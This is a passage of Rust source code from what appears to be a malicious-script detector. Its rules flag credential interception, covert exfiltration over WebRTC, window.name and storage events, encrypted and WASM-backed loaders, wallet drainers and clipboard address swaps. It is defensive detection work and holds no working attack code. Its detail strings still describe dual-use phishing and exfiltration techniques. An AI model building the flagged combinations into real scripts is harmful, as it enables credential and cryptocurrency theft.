2026 s.findings.push(BehavioralFinding {
2027 severity: Severity::Critical,
2028 category: Category::Persistence,
2029 title: "Delayed persistent staged abuse".into(),
2030 detail: "Script waits behind a long-delay timer, then registers persistent browser state and communicates externally - a durable staged campaign designed to outlive initial analysis".into(),
2031 evidence,
2032 });
2033 }
2034
2035 if s.has_credential_surface
2036 && !s.storage_write_indices.is_empty()
2037 && (!s.notification_create_indices.is_empty() || !s.service_worker_indices.is_empty())
2038 {
2039 let mut evidence = s.credential_surface_indices.clone();
2040 evidence.extend(&s.storage_write_indices);
2041 evidence.extend(&s.notification_create_indices);
2042 evidence.extend(&s.service_worker_indices);
2043 evidence.sort_unstable();
2044 evidence.dedup();
2045 s.findings.push(BehavioralFinding {
2046 severity: Severity::Critical,
2047 category: Category::Persistence,
2048 title: "Stateful credential re-entry infrastructure".into(),
2049 detail: "Script combines a credential surface with persisted browser state and an active re-entry mechanism such as notifications or a service worker, indicating a durable phishing campaign rather than a disposable lure".into(),
2050 evidence,
2051 });
2052 }
2053
2054 if s.has_credential_surface
2055 && (!s.worker_indices.is_empty() || !s.websocket_indices.is_empty())
2056 && s.has_external_fetch
2057 {
2058 let mut evidence = s.credential_surface_indices.clone();
2059 evidence.extend(&s.worker_indices);
2060 evidence.extend(&s.websocket_indices);
2061 evidence.extend(&s.fetch_indices);
2062 evidence.sort_unstable();
2063 evidence.dedup();
2064 s.findings.push(BehavioralFinding {
2065 severity: Severity::Critical,
2066 category: Category::CredentialTheft,
2067 title: "Background credential exfiltration channel".into(),
2068 detail: "Script combines a credential collection surface with Worker and/or WebSocket infrastructure to relay stolen data off the main thread or over a persistent channel".into(),
2069 evidence,
2070 });
2071 }
2072
2073 if !s.webrtc_indices.is_empty() && !s.webrtc_data_send_indices.is_empty() {
2074 let mut evidence = s.webrtc_indices.clone();
2075 evidence.extend(&s.webrtc_data_send_indices);
2076 evidence.sort_unstable();
2077 evidence.dedup();
2078 s.findings.push(BehavioralFinding {
2079 severity: Severity::Critical,
2080 category: Category::DataExfiltration,
2081 title: "Covert peer-to-peer exfiltration channel".into(),
2082 detail: "Script initializes WebRTC and transmits data over a RTCDataChannel, a peer-to-peer channel that can bypass standard fetch/XHR monitoring".into(),
2083 evidence,
2084 });
2085 }
2086
2087 if s.has_credential_surface && !s.webrtc_data_send_indices.is_empty() {
2088 let mut evidence = s.credential_surface_indices.clone();
2089 evidence.extend(&s.webrtc_indices);
2090 evidence.extend(&s.webrtc_data_send_indices);
2091 evidence.sort_unstable();
2092 evidence.dedup();
2093 s.findings.push(BehavioralFinding {
2094 severity: Severity::Critical,
2095 category: Category::CredentialTheft,
2096 title: "Credential relay over WebRTC".into(),
2097 detail: "Script exposes a credential surface and relays data over a RTCDataChannel, indicating covert credential theft rather than benign peer connectivity".into(),
2098 evidence,
2099 });
2100 }
2101
2102 if s.has_credential_surface && !s.input_monitor_indices.is_empty() {
2103 let mut evidence = s.credential_surface_indices.clone();
2104 evidence.extend(&s.input_monitor_indices);
2105 evidence.sort_unstable();
2106 evidence.dedup();
2107 let mut events = s.input_monitor_events.clone();
2108 events.sort();
2109 events.dedup();
2110 s.findings.push(BehavioralFinding {
2111 severity: Severity::High,
2112 category: Category::CredentialTheft,
2113 title: "Credential field input interception".into(),
2114 detail: format!(
2115 "Script combines a credential surface with live input monitoring hooks ({}) that can capture credentials before submission",
2116 events.join(", ")
2117 ),
2118 evidence,
2119 });
2120 }
2121
2122 if s.has_credential_surface
2123 && !s.input_monitor_indices.is_empty()
2124 && (s.has_external_fetch
2125 || !s.websocket_indices.is_empty()
2126 || !s.postmessage_indices.is_empty()
2127 || !s.broadcast_channel_indices.is_empty()
2128 || !s.message_port_indices.is_empty()
2129 || !s.storage_event_fire_indices.is_empty())
2130 {
2131 let mut evidence = s.credential_surface_indices.clone();
2132 evidence.extend(&s.input_monitor_indices);
2133 evidence.extend(&s.fetch_indices);
2134 evidence.extend(&s.websocket_indices);
2135 evidence.extend(&s.postmessage_indices);
2136 evidence.extend(&s.broadcast_channel_indices);
2137 evidence.extend(&s.message_port_indices);
2138 evidence.extend(&s.storage_event_register_indices);
2139 evidence.extend(&s.storage_event_fire_indices);
2140 evidence.sort_unstable();
2141 evidence.dedup();
2142 s.findings.push(BehavioralFinding {
2143 severity: Severity::Critical,
2144 category: Category::CredentialTheft,
2145 title: "Interactive credential interception and relay".into(),
2146 detail: "Script monitors user keystrokes or field changes on a credential surface and relays or stages the captured data through outbound channels".into(),
2147 evidence,
2148 });
2149 }
2150
2151 if s.has_credential_surface
2152 && (!s.broadcast_channel_indices.is_empty()
2153 || !s.message_port_indices.is_empty()
2154 || !s.shared_worker_message_indices.is_empty()
2155 || !s.storage_event_fire_indices.is_empty())
2156 {
2157 let mut evidence = s.credential_surface_indices.clone();
2158 evidence.extend(&s.broadcast_channel_indices);
2159 evidence.extend(&s.message_port_indices);
2160 evidence.extend(&s.shared_worker_message_indices);
2161 evidence.extend(&s.storage_event_register_indices);
2162 evidence.extend(&s.storage_event_fire_indices);
2163 evidence.extend(&s.message_channel_indices);
2164 evidence.sort_unstable();
2165 evidence.dedup();
2166 s.findings.push(BehavioralFinding {
2167 severity: Severity::Critical,
2168 category: Category::CredentialTheft,
2169 title: "Credential relay via in-browser covert channels".into(),
2170 detail: "Script exposes a credential surface and relays payloads over BroadcastChannel, MessagePort, SharedWorker, or storage-event primitives, indicating staged cross-context credential theft".into(),
2171 evidence,
2172 });
2173 }
2174
2175 if s.has_credential_surface && !s.history_state_indices.is_empty() {
2176 let mut evidence = s.credential_surface_indices.clone();
2177 evidence.extend(&s.history_state_indices);
2178 evidence.sort_unstable();
2179 evidence.dedup();
2180 s.findings.push(BehavioralFinding {
2181 severity: Severity::Critical,
2182 category: Category::CredentialTheft,
2183 title: "Credential lure with URL-bar spoofing".into(),
2184 detail: "Script exposes a credential surface while rewriting browser history state via pushState/replaceState, a common phishing technique for hiding the real page URL behind a trusted-looking route".into(),
2185 evidence,
2186 });
2187 }
2188
2189 if s.has_credential_surface && !s.shared_worker_message_indices.is_empty() {
2190 let mut evidence = s.credential_surface_indices.clone();
2191 evidence.extend(&s.shared_worker_message_indices);
2192 evidence.extend(&s.worker_indices);
2193 evidence.sort_unstable();
2194 evidence.dedup();
2195 s.findings.push(BehavioralFinding {
2196 severity: Severity::Critical,
2197 category: Category::CredentialTheft,
2198 title: "Credential relay via SharedWorker".into(),
2199 detail: "Script combines a credential surface with SharedWorker messaging, indicating background cross-tab relay or credential staging outside the main document".into(),
2200 evidence,
2201 });
2202 }
2203
2204 if s.has_credential_surface
2205 && !s.window_name_indices.is_empty()
2206 && (s.has_external_fetch
2207 || !s.popup_indices.is_empty()
2208 || !s.postmessage_indices.is_empty()
2209 || !s.broadcast_channel_indices.is_empty()
2210 || !s.message_port_indices.is_empty())
2211 {
2212 let mut evidence = s.credential_surface_indices.clone();
2213 evidence.extend(&s.window_name_indices);
2214 evidence.extend(&s.fetch_indices);
2215 evidence.extend(&s.popup_indices);
2216 evidence.extend(&s.postmessage_indices);
2217 evidence.extend(&s.broadcast_channel_indices);
2218 evidence.extend(&s.message_port_indices);
2219 evidence.sort_unstable();
2220 evidence.dedup();
2221 s.findings.push(BehavioralFinding {
2222 severity: Severity::Critical,
2223 category: Category::CredentialTheft,
2224 title: "Credential relay via window.name".into(),
2225 detail: "Script uses window.name as a cross-navigation covert channel alongside a credential surface and downstream relay or exfiltration primitives".into(),
2226 evidence,
2227 });
2228 }
2229
2230 if (!s.broadcast_channel_indices.is_empty()
2231 || !s.message_channel_indices.is_empty()
2232 || !s.message_port_indices.is_empty()
2233 || !s.storage_event_register_indices.is_empty()
2234 || !s.storage_event_fire_indices.is_empty())
2235 && (!s.worker_indices.is_empty()
2236 || !s.service_worker_indices.is_empty()
2237 || !s.popup_indices.is_empty()
2238 || s.has_external_fetch
2239 || s.has_storage_write)
2240 {
2241 let mut evidence = s.broadcast_channel_indices.clone();
2242 evidence.extend(&s.message_channel_indices);
2243 evidence.extend(&s.message_port_indices);
2244 evidence.extend(&s.storage_event_register_indices);
2245 evidence.extend(&s.storage_event_fire_indices);
2246 evidence.extend(&s.window_name_indices);
2247 evidence.extend(&s.shared_worker_message_indices);
2248 evidence.extend(&s.worker_indices);
2249 evidence.extend(&s.service_worker_indices);
2250 evidence.extend(&s.popup_indices);
2251 evidence.extend(&s.fetch_indices);
2252 evidence.extend(&s.storage_write_indices);
2253 evidence.sort_unstable();
2254 evidence.dedup();
2255 s.findings.push(BehavioralFinding {
2256 severity: Severity::Critical,
2257 category: Category::Persistence,
2258 title: "Covert multi-context staging infrastructure".into(),
2259 detail: "Script combines in-browser relay channels with background workers, popup pivots, storage-event coordination, persistence state, or off-origin traffic, indicating coordinated staged abuse across multiple execution contexts".into(),
2260 evidence,
2261 });
2262 }
2263
2264 if !s.storage_event_fire_indices.is_empty()
2265 && (!s.worker_indices.is_empty()
2266 || !s.service_worker_indices.is_empty()
2267 || !s.popup_indices.is_empty()
2268 || s.has_external_fetch
2269 || s.has_storage_write)
2270 {
2271 let mut evidence = s.storage_event_register_indices.clone();
2272 evidence.extend(&s.storage_event_fire_indices);
2273 evidence.extend(&s.worker_indices);
2274 evidence.extend(&s.service_worker_indices);
2275 evidence.extend(&s.popup_indices);
2276 evidence.extend(&s.fetch_indices);
2277 evidence.extend(&s.storage_write_indices);
2278 evidence.sort_unstable();
2279 evidence.dedup();
2280 s.findings.push(BehavioralFinding {
2281 severity: Severity::Critical,
2282 category: Category::Persistence,
2283 title: "Cross-tab storage-event staging".into(),
2284 detail: "Script uses storage events as a cross-tab covert channel alongside persistence state, background execution, popup pivots, or off-origin activity, indicating durable staged abuse across same-origin contexts".into(),
2285 evidence,
2286 });
2287 }
2288
2289 if !s.window_name_indices.is_empty()
2290 && (!s.popup_indices.is_empty()
2291 || !s.service_worker_indices.is_empty()
2292 || !s.worker_indices.is_empty()
2293 || s.has_external_fetch)
2294 {
2295 let mut evidence = s.window_name_indices.clone();
2296 evidence.extend(&s.popup_indices);
2297 evidence.extend(&s.service_worker_indices);
2298 evidence.extend(&s.worker_indices);
2299 evidence.extend(&s.fetch_indices);
2300 evidence.sort_unstable();
2301 evidence.dedup();
2302 s.findings.push(BehavioralFinding {
2303 severity: Severity::Critical,
2304 category: Category::Persistence,
2305 title: "Cross-navigation covert staging via window.name".into(),
2306 detail: "Script combines window.name relay state with popup, worker, service-worker, or off-origin activity, indicating staged abuse that survives navigation boundaries".into(),
2307 evidence,
2308 });
2309 }
2310
2311 if (!s.worker_indices.is_empty() || !s.service_worker_indices.is_empty())
2312 && !s.websocket_indices.is_empty()
2313 && s.has_external_fetch
2314 {
2315 let mut evidence = s.worker_indices.clone();
2316 evidence.extend(&s.service_worker_indices);
2317 evidence.extend(&s.websocket_indices);
2318 evidence.extend(&s.fetch_indices);
2319 evidence.sort_unstable();
2320 evidence.dedup();
2321 s.findings.push(BehavioralFinding {
2322 severity: Severity::Critical,
2323 category: Category::Persistence,
2324 title: "Background staged exfiltration infrastructure".into(),
2325 detail: "Script establishes background execution and a persistent network channel, indicating durable staged abuse rather than a one-shot page action".into(),
2326 evidence,
2327 });
2328 }
2329
2330 if s.has_credential_surface && s.has_fingerprint_access {
2331 let mut evidence = s.credential_surface_indices.clone();
2332 evidence.extend(&s.fingerprint_indices);
2333 s.findings.push(BehavioralFinding {
2334 severity: Severity::High,
2335 category: Category::Evasion,
2336 title: "Environment-aware credential harvest".into(),
2337 detail: "Script combines fingerprinting or environment checks with a credential collection surface, indicating gated or persona-dependent phishing behavior".into(),
2338 evidence,
2339 });
2340 }
2341
2342 let webauthn_targeting = s.fingerprint_apis.iter().any(|api| {
2343 matches!(
2344 api.as_str(),
2345 "PublicKeyCredential.create"
2346 | "PublicKeyCredential.get"
2347 | "PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable"
2348 | "PublicKeyCredential.isConditionalMediationAvailable"
2349 )
2350 });
2351 if webauthn_targeting
2352 && (s.has_external_fetch
2353 || !s.external_credential_action_indices.is_empty()
2354 || !s.popup_indices.is_empty())
2355 {
2356 let mut evidence = s.credential_api_indices.clone();
2357 evidence.extend(&s.fetch_indices);
2358 evidence.extend(&s.external_credential_action_indices);
2359 evidence.extend(&s.popup_indices);
2360 evidence.sort_unstable();
2361 evidence.dedup();
2362 s.findings.push(BehavioralFinding {
2363 severity: if !s.external_credential_action_indices.is_empty() {
2364 Severity::Critical
2365 } else {
2366 Severity::High
2367 },
2368 category: if !s.external_credential_action_indices.is_empty() {
2369 Category::CredentialTheft
2370 } else {
2371 Category::Evasion
2372 },
2373 title: "Passkey/WebAuthn-targeted staged credential flow".into(),
2374 detail: "Script probes or invokes WebAuthn/passkey APIs before staged delivery or credential action, indicating credential targeting adapted to passkey-capable environments".into(),
2375 evidence,
2376 });
2377 }
2378
2379 let local_data_targeting = s.fingerprint_apis.iter().any(|api| {
2380 matches!(
2381 api.as_str(),
2382 "showOpenFilePicker"
2383 | "showSaveFilePicker"
2384 | "showDirectoryPicker"
2385 | "navigator.contacts.select"
2386 | "navigator.share"
2387 )
2388 });
2389 if local_data_targeting
2390 && (s.has_external_fetch
2391 || !s.external_credential_action_indices.is_empty()
2392 || !s.popup_indices.is_empty())
2393 {
2394 let mut evidence = s.fingerprint_indices.clone();
2395 evidence.extend(&s.fetch_indices);
2396 evidence.extend(&s.external_credential_action_indices);
2397 evidence.extend(&s.popup_indices);
2398 evidence.sort_unstable();
2399 evidence.dedup();
2400 s.findings.push(BehavioralFinding {
2401 severity: if !s.external_credential_action_indices.is_empty() {
2402 Severity::Critical
2403 } else {
2404 Severity::High
2405 },
2406 category: if !s.external_credential_action_indices.is_empty() {
2407 Category::CredentialTheft
2408 } else {
2409 Category::Evasion
2410 },
2411 title: "Local data-targeting staged flow".into(),
2412 detail: "Script touches local file, contact, or share surfaces before staged delivery or credential action, indicating adaptive attempts to capture user-held data or push staged content".into(),
2413 evidence,
2414 });
2415 }
2416
2417 let capture_device_targeting = s.fingerprint_apis.iter().any(|api| {
2418 matches!(
2419 api.as_str(),
2420 "navigator.mediaDevices.getUserMedia"
2421 | "navigator.mediaDevices.getDisplayMedia"
2422 | "navigator.mediaDevices.enumerateDevices"
2423 )
2424 });
2425 if capture_device_targeting
2426 && (s.has_external_fetch
2427 || !s.external_credential_action_indices.is_empty()
2428 || !s.popup_indices.is_empty())
2429 {
2430 let mut evidence = s.fingerprint_indices.clone();
2431 evidence.extend(&s.fetch_indices);
2432 evidence.extend(&s.external_credential_action_indices);
2433 evidence.extend(&s.popup_indices);
2434 evidence.sort_unstable();
2435 evidence.dedup();
2436 s.findings.push(BehavioralFinding {
2437 severity: if !s.external_credential_action_indices.is_empty() {
2438 Severity::Critical
2439 } else {
2440 Severity::High
2441 },
2442 category: if !s.external_credential_action_indices.is_empty() {
2443 Category::CredentialTheft
2444 } else {
2445 Category::Evasion
2446 },
2447 title: "Capture-device-targeted staged flow".into(),
2448 detail: "Script probes camera, microphone, screen capture, or device inventory before staged delivery or credential action, indicating adaptive targeting of live user context rather than a static page lure".into(),
2449 evidence,
2450 });
2451 }
2452
2453 let install_surface_targeting = s.fingerprint_apis.iter().any(|api| {
2454 matches!(
2455 api.as_str(),
2456 "navigator.registerProtocolHandler"
2457 | "navigator.setAppBadge"
2458 | "navigator.clearAppBadge"
2459 | "launchQueue.setConsumer"
2460 )
2461 });
2462 if install_surface_targeting
2463 && (s.has_external_fetch
2464 || !s.service_worker_indices.is_empty()
2465 || s.has_storage_write
2466 || !s.external_credential_action_indices.is_empty())
2467 {
2468 let mut evidence = s.fingerprint_indices.clone();
2469 evidence.extend(&s.fetch_indices);
2470 evidence.extend(&s.service_worker_indices);
2471 evidence.extend(&s.storage_write_indices);
2472 evidence.extend(&s.external_credential_action_indices);
2473 evidence.sort_unstable();
2474 evidence.dedup();
2475 s.findings.push(BehavioralFinding {
2476 severity: if !s.external_credential_action_indices.is_empty() {
2477 Severity::Critical
2478 } else {
2479 Severity::High
2480 },
2481 category: if !s.external_credential_action_indices.is_empty() {
2482 Category::CredentialTheft
2483 } else {
2484 Category::Persistence
2485 },
2486 title: "Install-surface persistence staging".into(),
2487 detail: "Script combines install or launch surfaces with storage, service-worker registration, or staged delivery, indicating an attempt to make abuse durable beyond a one-shot page interaction".into(),
2488 evidence,
2489 });
2490 }
2491
2492 let offline_push_persistence = s.fingerprint_apis.iter().any(|api| {
2493 matches!(
2494 api.as_str(),
2495 "caches.open"
2496 | "cache.put"
2497 | "cache.match"
2498 | "cache.add"
2499 | "cache.addAll"
2500 | "pushManager.subscribe"
2501 | "sync.register"
2502 | "periodicSync.register"
2503 )
2504 });
2505 if offline_push_persistence
2506 && (s.has_external_fetch
2507 || !s.service_worker_indices.is_empty()
2508 || s.has_storage_write
2509 || !s.external_credential_action_indices.is_empty())
2510 {
2511 let mut evidence = s.fingerprint_indices.clone();
2512 evidence.extend(&s.fetch_indices);
2513 evidence.extend(&s.service_worker_indices);
2514 evidence.extend(&s.storage_write_indices);
2515 evidence.extend(&s.external_credential_action_indices);
2516 evidence.sort_unstable();
2517 evidence.dedup();
2518 s.findings.push(BehavioralFinding {
2519 severity: if !s.external_credential_action_indices.is_empty() {
2520 Severity::Critical
2521 } else {
2522 Severity::High
2523 },
2524 category: if !s.external_credential_action_indices.is_empty() {
2525 Category::CredentialTheft
2526 } else {
2527 Category::Persistence
2528 },
2529 title: "Offline/push persistence staging".into(),
2530 detail: "Script combines cache, push, or background sync surfaces with service-worker registration, durable state, staged delivery, or credential actions, indicating background persistence beyond a one-shot lure".into(),
2531 evidence,
2532 });
2533 }
2534
2535 let analysis_gating = s.fingerprint_apis.iter().any(|api| {
2536 matches!(
2537 api.as_str(),
2538 "document.visibilityState" | "document.hidden" | "navigator.webdriver"
2539 )
2540 });
2541 if analysis_gating && s.has_external_fetch {
2542 let mut evidence = s.fingerprint_indices.clone();
2543 evidence.extend(&s.fetch_indices);
2544 evidence.sort_unstable();
2545 evidence.dedup();
2546 s.findings.push(BehavioralFinding {
2547 severity: Severity::High,
2548 category: Category::Evasion,
2549 title: "Analysis-aware environment gating".into(),
2550 detail: "Script checks visibility or automation-sensitive browser state before communicating externally, indicating deliberate anti-analysis or sandbox gating".into(),
2551 evidence,
2552 });
2553 }
2554
2555 let self_source_read = s
2556 .fingerprint_apis
2557 .iter()
2558 .any(|api| api == "document.currentScript");
2559 if self_source_read && !s.dynamic_code_indices.is_empty() {
2560 let mut evidence = s.fingerprint_indices.clone();
2561 evidence.extend(&s.dynamic_code_indices);
2562 evidence.sort_unstable();
2563 evidence.dedup();
2564 s.findings.push(BehavioralFinding {
2565 severity: Severity::High,
2566 category: Category::Evasion,
2567 title: "Self-referential dynamic loader".into(),
2568 detail: "Script reads document.currentScript and executes dynamic code, indicating self-inspection or self-modifying staged obfuscation".into(),
2569 evidence,
2570 });
2571 }
2572
2573 if !s.long_delay_timer_indices.is_empty() && s.has_external_fetch && s.has_fingerprint_access {
2574 let mut evidence = s.long_delay_timer_indices.clone();
2575 evidence.extend(&s.fetch_indices);
2576 evidence.extend(&s.fingerprint_indices);
2577 evidence.sort_unstable();
2578 evidence.dedup();
2579 s.findings.push(BehavioralFinding {
2580 severity: Severity::High,
2581 category: Category::Evasion,
2582 title: "Fingerprint-gated delayed network staging".into(),
2583 detail: "Script fingerprints the environment, then defers outbound activity with long-delay timers - a common anti-analysis and staged-delivery pattern".into(),
2584 evidence,
2585 });
2586 }
2587
2588 if !s.long_delay_timer_indices.is_empty() && s.has_credential_surface {
2589 let mut evidence = s.long_delay_timer_indices.clone();
2590 evidence.extend(&s.credential_surface_indices);
2591 evidence.sort_unstable();
2592 evidence.dedup();
2593 s.findings.push(BehavioralFinding {
2594 severity: Severity::High,
2595 category: Category::CredentialTheft,
2596 title: "Delayed credential lure activation".into(),
2597 detail: "Script defers a credential collection surface behind long-delay timers, indicating staged or time-gated phishing behavior".into(),
2598 evidence,
2599 });
2600 }
2601
2602 if !s.scheduler_indices.is_empty()
2603 && (!s.service_worker_indices.is_empty() || !s.worker_indices.is_empty())
2604 && s.has_external_fetch
2605 {
2606 let mut evidence = s.scheduler_indices.clone();
2607 evidence.extend(&s.service_worker_indices);
2608 evidence.extend(&s.worker_indices);
2609 evidence.extend(&s.fetch_indices);
2610 evidence.sort_unstable();
2611 evidence.dedup();
2612 s.findings.push(BehavioralFinding {
2613 severity: Severity::High,
2614 category: Category::Evasion,
2615 title: "Scheduler-driven delayed staging".into(),
2616 detail: "Script uses the Scheduler API together with background execution or off-origin activity, indicating intentionally deferred multi-step staging".into(),
2617 evidence,
2618 });
2619 }
2620
2621 if !s.trusted_types_indices.is_empty() && (s.has_external_fetch || s.has_credential_surface) {
2622 let mut evidence = s.trusted_types_indices.clone();
2623 evidence.extend(&s.fetch_indices);
2624 evidence.extend(&s.credential_surface_indices);
2625 evidence.sort_unstable();
2626 evidence.dedup();
2627 s.findings.push(BehavioralFinding {
2628 severity: Severity::High,
2629 category: Category::Evasion,
2630 title: "Trusted Types policy used in staged runtime flow".into(),
2631 detail: "Script creates a Trusted Types policy alongside credential surfaces or off-origin activity, indicating a more sophisticated staged runtime than a simple lure".into(),
2632 evidence,
2633 });
2634 }
2635
2636 let render_audio_fingerprinting = s.fingerprint_apis.iter().any(|api| {
2637 api.starts_with("canvas.measureText")
2638 || api.starts_with("canvas.getImageData")
2639 || api.starts_with("canvas.toDataURL")
2640 || api.starts_with("canvas.getContext.")
2641 || api.starts_with("webgl.getParameter")
2642 || api.starts_with("webgl.getSupportedExtensions")
2643 || api.starts_with("webgl.readPixels")
2644 || api.starts_with("audio.createOscillator")
2645 || api.starts_with("audio.createAnalyser")
2646 || api.starts_with("audio.getFloatFrequencyData")
2647 || api.starts_with("audio.resume")
2648 || api.starts_with("audio.startRendering")
2649 || api.ends_with(".construct")
2650 });
2651 if render_audio_fingerprinting && (s.has_external_fetch || !s.websocket_indices.is_empty()) {
2652 let mut evidence = s.fingerprint_indices.clone();
2653 evidence.extend(&s.fetch_indices);
2654 evidence.extend(&s.websocket_indices);
2655 evidence.sort_unstable();
2656 evidence.dedup();
2657 s.findings.push(BehavioralFinding {
2658 severity: Severity::High,
2659 category: Category::Fingerprinting,
2660 title: "Render/audio fingerprinting with outbound delivery".into(),
2661 detail: "Script probes canvas, WebGL, or audio rendering surfaces and then performs off-origin delivery, a strong fingerprint-then-exfiltrate pattern".into(),
2662 evidence,
2663 });
2664 }
2665
2666 let resource_environment_probing = s.fingerprint_apis.iter().any(|api| {
2667 matches!(
2668 api.as_str(),
2669 "navigator.storage.estimate" | "navigator.getBattery" | "navigator.wakeLock.request"
2670 )
2671 });
2672 if resource_environment_probing
2673 && (s.has_external_fetch
2674 || !s.popup_indices.is_empty()
2675 || !s.external_credential_action_indices.is_empty())
2676 {
2677 let mut evidence = s.fingerprint_indices.clone();
2678 evidence.extend(&s.fetch_indices);
2679 evidence.extend(&s.popup_indices);
2680 evidence.extend(&s.external_credential_action_indices);
2681 evidence.sort_unstable();
2682 evidence.dedup();
2683 s.findings.push(BehavioralFinding {
2684 severity: if !s.external_credential_action_indices.is_empty() {
2685 Severity::Critical
2686 } else {
2687 Severity::High
2688 },
2689 category: if !s.external_credential_action_indices.is_empty() {
2690 Category::CredentialTheft
2691 } else {
2692 Category::Evasion
2693 },
2694 title: "Resource/power-aware staged targeting".into(),
2695 detail: "Script probes storage quota, battery state, or wake-lock capability before staged delivery, indicating environment-aware targeting rather than ordinary feature use".into(),
2696 evidence,
2697 });
2698 }
2699
2700 if !s.crypto_decrypt_indices.is_empty()
2701 && (s.has_external_fetch
2702 || s.has_credential_surface
2703 || !s.external_credential_action_indices.is_empty())
2704 {
2705 let mut evidence = s.crypto_decrypt_indices.clone();
2706 evidence.extend(&s.crypto_import_key_indices);
2707 evidence.extend(&s.fetch_indices);
2708 evidence.extend(&s.credential_surface_indices);
2709 evidence.extend(&s.external_credential_action_indices);
2710 evidence.sort_unstable();
2711 evidence.dedup();
2712 s.findings.push(BehavioralFinding {
2713 severity: Severity::High,
2714 category: Category::CodeInjection,
2715 title: "Encrypted payload staging and action delivery".into(),
2716 detail: "Script uses WebCrypto decryption together with credential collection or off-origin activity, indicating encrypted staging rather than benign integrity checking".into(),
2717 evidence,
2718 });
2719 }
2720
2721 if !s.crypto_decrypt_indices.is_empty() && !s.dynamic_code_indices.is_empty() {
2722 let mut evidence = s.crypto_decrypt_indices.clone();
2723 evidence.extend(&s.dynamic_code_indices);
2724 evidence.sort_unstable();
2725 evidence.dedup();
2726 s.findings.push(BehavioralFinding {
2727 severity: Severity::Critical,
2728 category: Category::CodeInjection,
2729 title: "Decrypted payload executed via dynamic code".into(),
2730 detail: "Script decrypts content with WebCrypto and then reaches dynamic code execution, a strong indicator of encrypted loader behavior".into(),
2731 evidence,
2732 });
2733 }
2734
2735 if !s.wasm_indices.is_empty() && s.has_external_fetch {
2736 let mut evidence = s.wasm_indices.clone();
2737 evidence.extend(&s.fetch_indices);
2738 evidence.sort_unstable();
2739 evidence.dedup();
2740 s.findings.push(BehavioralFinding {
2741 severity: Severity::High,
2742 category: Category::CodeInjection,
2743 title: "WASM-backed staged payload delivery".into(),
2744 detail: "Script instantiates or compiles WebAssembly before off-origin network delivery, indicating staged payload decoding or hidden loader behavior".into(),
2745 evidence,
2746 });
2747 }
2748
2749 if !s.wasm_indices.is_empty() && !s.dynamic_code_indices.is_empty() {
2750 let mut evidence = s.wasm_indices.clone();
2751 evidence.extend(&s.dynamic_code_indices);
2752 evidence.sort_unstable();
2753 evidence.dedup();
2754 s.findings.push(BehavioralFinding {
2755 severity: Severity::Critical,
2756 category: Category::CodeInjection,
2757 title: "WASM-assisted dynamic execution".into(),
2758 detail: "Script combines WebAssembly with dynamic code execution, a strong signal of staged runtime payload generation".into(),
2759 evidence,
2760 });
2761 }
2762
2763 if !s.wasm_indices.is_empty()
2764 && (s.has_credential_surface || !s.external_credential_action_indices.is_empty())
2765 {
2766 let mut evidence = s.wasm_indices.clone();
2767 evidence.extend(&s.credential_surface_indices);
2768 evidence.extend(&s.external_credential_action_indices);
2769 evidence.sort_unstable();
2770 evidence.dedup();
2771 s.findings.push(BehavioralFinding {
2772 severity: Severity::Critical,
2773 category: Category::CredentialTheft,
2774 title: "WASM-assisted credential staging".into(),
2775 detail: "Script stages WebAssembly alongside credential collection or off-origin credential delivery, indicating hidden credential theft logic".into(),
2776 evidence,
2777 });
2778 }
2779
2780 if s.has_wallet_connect && (s.has_sign_transaction || s.has_sign_message) {
2781 let mut evidence = Vec::new();
2782 if let Some(idx) = s.wallet_connect_idx {
2783 evidence.push(idx);
2784 }
2785 evidence.extend(&s.sign_indices);
2786 s.findings.push(BehavioralFinding {
2787 severity: Severity::Critical,
2788 category: Category::CryptoTheft,
2789 title: "CONFIRMED: Crypto wallet drainer".into(),
2790 detail: "Script connects to wallet AND requests transaction/message signing - this is a wallet drainer attack".into(),
2791 evidence,
2792 });
2793 }
2794
2795 if s.has_wallet_connect && s.has_chain_switch {
2796 s.findings.push(BehavioralFinding {
2797 severity: Severity::Critical,
2798 category: Category::CryptoTheft,
2799 title: "Wallet drainer with chain manipulation".into(),
2800 detail: "Script connects wallet and switches chain - drainers move victims to attacker-controlled networks".into(),
2801 evidence: s.wallet_connect_idx.into_iter().collect(),
2802 });
2803 }
2804
2805 if s.has_wallet_connect && s.has_external_fetch {
2806 let mut evidence = Vec::new();
2807 if let Some(idx) = s.wallet_connect_idx {
2808 evidence.push(idx);
2809 }
2810 evidence.extend(&s.fetch_indices);
2811 s.findings.push(BehavioralFinding {
2812 severity: Severity::High,
2813 category: Category::CryptoTheft,
2814 title: "Wallet drainer with C2 communication".into(),
2815 detail: format!(
2816 "Script connects wallet and communicates with external server: {}",
2817 s.external_urls.join(", ")
2818 ),
2819 evidence,
2820 });
2821 }
2822
2823 if s.has_clipboard_read && s.has_clipboard_write {
2824 s.findings.push(BehavioralFinding {
2825 severity: Severity::Critical,
2826 category: Category::ClipboardHijack,
2827 title: "CONFIRMED: Clipboard swap attack".into(),
2828 detail: "Script reads clipboard content and writes replacement - classic crypto address swap attack".into(),
2829 evidence: Vec::new(),
2830 });
2831 }
2832
2833 if s.has_credential_surface
2834 && s.has_clipboard_read
2835 && s.input_monitor_events.iter().any(|event| event == "paste")
2836 {
2837 let mut evidence = s.credential_surface_indices.clone();
2838 evidence.extend(&s.input_monitor_indices);
2839 evidence.sort_unstable();
2840 evidence.dedup();
2841 s.findings.push(BehavioralFinding {
2842 severity: Severity::Critical,
2843 category: Category::CredentialTheft,
2844 title: "Pasted secret interception".into(),
2845 detail: "Script combines a credential surface with paste-event monitoring and clipboard reads, allowing interception of pasted one-time codes, passwords, or wallet secrets before submission".into(),
2846 evidence,
2847 });
2848 }
2849
2850 if s.has_clipboard_write && s.has_wallet_connect {
2851 s.findings.push(BehavioralFinding {
2852 severity: Severity::Critical,
2853 category: Category::CryptoTheft,
2854 title: "Clipboard + wallet combined attack".into(),
2855 detail:
2856 "Script manipulates clipboard AND connects to wallet - multi-vector crypto theft"
2857 .into(),
2858 evidence: Vec::new(),
2859 });
2860 }
2861
2862 if s.has_credential_surface && !s.notification_permission_indices.is_empty() {
2863 let mut evidence = s.credential_surface_indices.clone();
2864 evidence.extend(&s.notification_permission_indices);
2865 evidence.sort_unstable();
2866 evidence.dedup();
2867 s.findings.push(BehavioralFinding {
2868 severity: Severity::High,
2869 category: Category::Persistence,
2870 title: "Credential lure with notification re-engagement".into(),
2871 detail: "Script combines a credential surface with notification permission prompts, a common tactic for persistent phishing re-entry after the tab closes".into(),
2872 evidence,
2873 });
2874 }
2875
2876 if !s.notification_permission_indices.is_empty() && !s.notification_create_indices.is_empty() {
